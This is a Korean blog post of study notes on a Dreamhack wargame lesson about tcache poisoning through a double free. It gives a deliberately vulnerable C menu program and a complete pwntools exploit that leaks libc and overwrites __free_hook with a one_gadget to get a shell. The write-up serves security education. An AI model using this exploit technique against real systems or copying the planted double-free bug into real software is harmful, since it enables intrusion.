[Dreamhack] Double Free Bug: 2 - Tcache Poisoning

securitykss·2023년 1월 31일
0

Pwnable 강의(dreamhack)

목록 보기
34/58

1. Description

Tache Poisoning은 tcache를 조작하여 임의 주소에 청크를 할당시키는 공격 기법이다.

원리

중복으로 연결된 청크를 재할당하면, 그 청크는 할당된 청크이면서, 동시에 해제된 청크가 된다.

할당된 청크와 해제된 청크가 동시에 존재하면 fd와 bk를 알아 낼 수 있다.

이 때 공격자가 중첩 상태인 청크에 임의의 값을 쓸 수 있다면, 그 청크의 fd와 bk를 조작할 수 있다.

즉, ptmalloc2의 free list에 임의 주소를 추가할 수 있다.

2. check

2.1 C code

// Name: tcache_poison.c
// Compile: gcc -o tcache_poison tcache_poison.c -no-pie -Wl,-z,relro,-z,now

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  void *chunk = NULL;
  unsigned int size;
  int idx;

  // 입,출력 버퍼를 비움
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
  	// 메뉴 출력
    printf("1. Allocate\n");
    printf("2. Free\n");
    printf("3. Print\n");
    printf("4. Edit\n");

	// 선택지 입력
    scanf("%d", &idx);

    switch (idx) {
      // 1 입력 시
      // size 입력 후 size 만큼 chunk에 malloc으로 동적 할당
      // 그 후, chunk에 입력, 
      case 1:
        printf("Size: ");

        scanf("%d", &size);
        chunk = malloc(size);

        printf("Content: ");
        read(0, chunk, size - 1);
        break;
        
      // 2 입력 시
      // chunk를 free로 해제
      case 2:
        free(chunk);
        break;

	  // 3 입력 시
      // chunk 내용 출력
      case 3:
        printf("Content: %s", chunk);
        break;

	  // 4 입력 시
      // chunk에 입력
      case 4:
        printf("Edit chunk: ");
        read(0, chunk, size - 1);
        break;

      default:
        break;

    }

  }
  return 0;
}

2.2 file

2.3 chekcsec

3. Design

익스플로잇의 목표는 훅을 덮어서 실행 흐름을 조작하고, 셸을 획득하는 것이다.

임의 주소 읽기로 libc가 매핑된 주소를 알아내고, 임의 주소 쓰기로 해당 주소에 one_gadget 주소를 덮어주면 된다.

3.1 Tcache Poisoning

임의 주소 읽기 및 쓰기를 위해 Tcache Poisoning을 사용할 것이다.

적당한 크기의 청크를 할당하고, key를 조작한 뒤, 다시 해제하면 Tcache Duplication이 가능하다.

그 상태에서, 다시 청크를 할당하고 원하는 주소를 값으로 쓰면 tcache에 임의 주소를 추가할 수 있다.

3.2 Libc leak

setvbuf 함수에 인자로 stdin과 stdout을 전달하는데, 이 포인터 변수들은 각각 libc 내부의 IO_2_1_stdin과 IO_2_1_stdout을 가리킨다.

따라서 이 중 한 변수의 값을 읽으면, 그 값을 이용하여 libc의 주소를 계산할 수 있다.

이 포인터들은 전역 변수로서 bss 영역에 위치하는데, PIE가 적용되어 있지 않으므로 포인터들의 주소는 고정되어 있다.

Tcache Poisoning으로 포인터 변수의 주소에 청크를 할당하여 그 값을 읽을 수 있다.

3.3 Hook overwrite to get shell

Libc가 매핑된 주소를 구했다면, 그로부터 one_gadget의 주소와 __free_hook의 주소를 계산할 수 있다.

다시 tcache poisoning으로 __free_hook에 청크를 할당하고, 그 청크에 적절한 one_gadget의 주소를 입력하면 free를 호출하여 셸을 획득할 수 있다.

4. Exploit

4.1 exploit code

# Name: tcache_poison.py
#!/usr/bin/python3

from pwn import *

p = process("./tcache_poison")
e = ELF("./tcache_poison")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

def slog(symbol, addr): return success(symbol + ": " + hex(addr))

def alloc(size, data):
    p.sendlineafter("Edit\n", "1")
    p.sendlineafter(":", str(size))
    p.sendafter(":", data)

def free():
    p.sendlineafter("Edit\n", "2")

def print_chunk():
    p.sendlineafter("Edit\n", "3")

def edit(data):
    p.sendlineafter("Edit\n", "4")
    p.sendafter(":", data)

# 1. Tcache Poisoning
# Allocate a chunk of size 0x40

alloc(0x30, "dreamhack")
free()

# tcache[0x40]: "dreamhack"
# Bypass the DFB mitigation

edit("A"*8 + "\x00")
free()

# tcache[0x40]: "dreamhack" -> "dreamhack"
# Append the address of `stdout` to tcache[0x40]

addr_stdout = e.symbols["stdout"]
alloc(0x30, p64(addr_stdout))

# 2. Libc leak
# tcache[0x40]: "dreamhack" -> stdout -> _IO_2_1_stdout_ -> ...
# Leak the value of stdout

alloc(0x30, "B"*8)          # "dreamhack"
alloc(0x30, "\x60")         # stdout

# Libc leak

print_chunk()

p.recvuntil("Content: ")

stdout = u64(p.recv(6).ljust(8, b"\x00"))

lb = stdout - libc.symbols["_IO_2_1_stdout_"]
fh = lb + libc.symbols["__free_hook"]
og = lb + 0x4f432

slog("free_hook", fh)
slog("one_gadget", og)

# 3. Hook overwrite to get shell
# Overwrite the `__free_hook` with the address of one_gadget

alloc(0x40, "dreamhack")
free()

edit("C"*8 + "\x00")
free()

alloc(0x40, p64(fh))
alloc(0x40, "D"*8)
alloc(0x40, p64(og))

# Call `free()` to get shell
free()

p.interactive()

4.2 result

성공적으로 shell을 얻어 냈다.

마치며

free list와 청크들의 관계와 tcache의 취약점을 이용해서 shell을 얻어냈다.

Tcache Dup: Double free 등을 이용하여 tcache에 같은 청크를 두 번 이상 연결시키는 기법.

Tcache Poisoning: tcache에 원하는 주소를 추가하여 해당 주소에 청크를 할당시키는 기법. 임의 주소 읽기, 임의 주소 쓰기의 수단으로 사용될 수 있다.

Reference

https://dreamhack.io/lecture/courses/107 (설명 출처)

https://dreamhack.io/wargame/challenges/358/ (문제 출처)

profile
보안 공부를 하는 학생입니다.

0개의 댓글